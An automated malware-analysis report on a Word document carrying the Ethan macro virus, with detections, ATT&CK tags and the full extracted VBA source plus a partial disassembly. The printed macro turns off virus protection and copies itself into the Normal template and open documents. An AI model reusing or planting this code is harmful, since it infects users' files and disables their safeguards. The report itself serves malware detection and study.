MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains VBA macros, specifically a Document_Open macro designed to disable security features and write a temporary file named 'evolve.tmp' to the system. This file likely contains a second-stage payload that is then executed. The ClamAV detections 'Win.Trojan.Pivis-2' and 'Doc.Trojan.Ethan-2' further support the malicious nature of this document.
Heuristics 3
-
ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTIONClamAV detected this file as malware: Win.Trojan.Pivis-2
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 9220 bytes |
SHA-256: 8f27b825433bacb8f6f160527b2a2a57ffd9c65b9466f22e08c8097b22796019 |
|||
|
Detection
ClamAV:
Doc.Trojan.Ethan-2
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
On Error Resume Next
Application.EnableCancelKey = wdCancelDisabled
Application.EnableCancelKey = wdCancelDisabled
With Options:
With Options:
.ConfirmConversions = False:
.ConfirmConversions = False:
.VirusProtection = False:
.VirusProtection = False:
.SaveNormalPrompt = False:
.SaveNormalPrompt = False:
.SavePropertiesPrompt = False:
.SavePropertiesPrompt = False:
End With
End With
s = ActiveDocument.Saved
s = ActiveDocument.Saved
sName = "c:\evolve.tmp"
sName = "c:\evolve.tmp"
sFunc = "Private Sub Document_Open()"
sFunc = "Private Sub Document_Open()"
Found = False
Found = False
If Dir(sName) <> "" Then Kill sName
If Dir(sName) <> "" Then Kill sName
Open sName For Output As #1
Open sName For Output As #1
For i = 0 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
a = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1)
If Found = False And (a = sFunc) Then Found = True
If a <> "" And Found = True Then Print #1, a
If a = "End Sub" And Found = True Then Found = False
Next i
Close #1
j = 1
k = 1
t = 0
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> sFunc Then
Set nml = NormalTemplate.VBProject.VBComponents.Item(1)
t = t + 1
End If
If ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> sFunc Then
Set atv = ActiveDocument.VBProject.VBComponents.Item(1)
t = t + 2
End If
If t > 0 Then
Open sName For Input As #1
If LOF(1) = 0 Then GoTo quit
i = 1
Do While Not EOF(1)
Line Input #1, a
If t = 1 Or t = 3 Then
nml.CodeModule.InsertLines j, a
j = j + 1
End If
If t = 2 Or t = 3 Then
atv.CodeModule.InsertLines k, a
k = k + 1
End If
Loop
quit:
Close #1
End If
With Dialogs(wdDialogFileSumaryInfo):
.Title = "Ethan Frome":
.Author = "EW/LN/CB":
.Keywrds = "Ethan":
.Execute:
End With
If Left(ActiveDocument.Name, 8) <> "Document" Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End If
If ActiveDocument.Saved <> s Then ActiveDocument.Saved = s
Kill sName
Application.EnableCancelKey = wdCancelInterrupt
End Sub
' Processing file: /opt/analyzer/scan_staging/272eeb36b0c44c4dbf6b4d1188b49079.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 4416 bytes
' Line #0:
' FuncDefn (Private Sub Document_Open())
' Line #1:
' OnError (Resume Next)
' Line #2:
' OnError (Resume Next)
' Line #3:
' Ld wdCancelDisabled
' Ld Application
' MemSt EnableCancelKey
' Line #4:
' Ld wdCancelDisabled
' Ld Application
' MemSt EnableCancelKey
' Line #5:
' StartWithExpr
' Ld Options
' With
' BoS 0x0000
' Line #6:
' StartWithExpr
' Ld Options
' With
' BoS 0x0000
' Line #7:
' LitVarSpecial (False)
' MemStWith ConfirmConversions
' BoS 0x0000
' Line #8:
' LitVarSpecial (False)
' MemStWith ConfirmConversions
' BoS 0x0000
' Line #9:
' LitVarSpecial (False)
' MemStWith VirusProtection
' BoS 0x0000
' Line #10:
' LitVarSpecial (False)
' MemStWith VirusProtection
' BoS 0x0000
' Line #11:
' LitVarSpecial (False)
' MemStWith SaveNormalPrompt
' BoS 0x0000
' Line #12:
' LitVarSpecial (False)
' MemStWith SaveNormalPrompt
' BoS 0x0000
' Line #13:
' LitVarSpecial (False)
' MemStWith SavePropertiesPrompt
' BoS 0x0000
' Line #14:
' LitVarSpecial (False)
' MemStWith SavePropertiesPrompt
' BoS 0x0000
' Line #15:
' EndWith
' Line #16:
' EndWith
' Line #17:
' Ld ActiveDocument
' MemLd Saved
' St s
' Line #18:
' Ld ActiveDocument
' MemLd Saved
' St s
' Line #19:
' LitStr
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.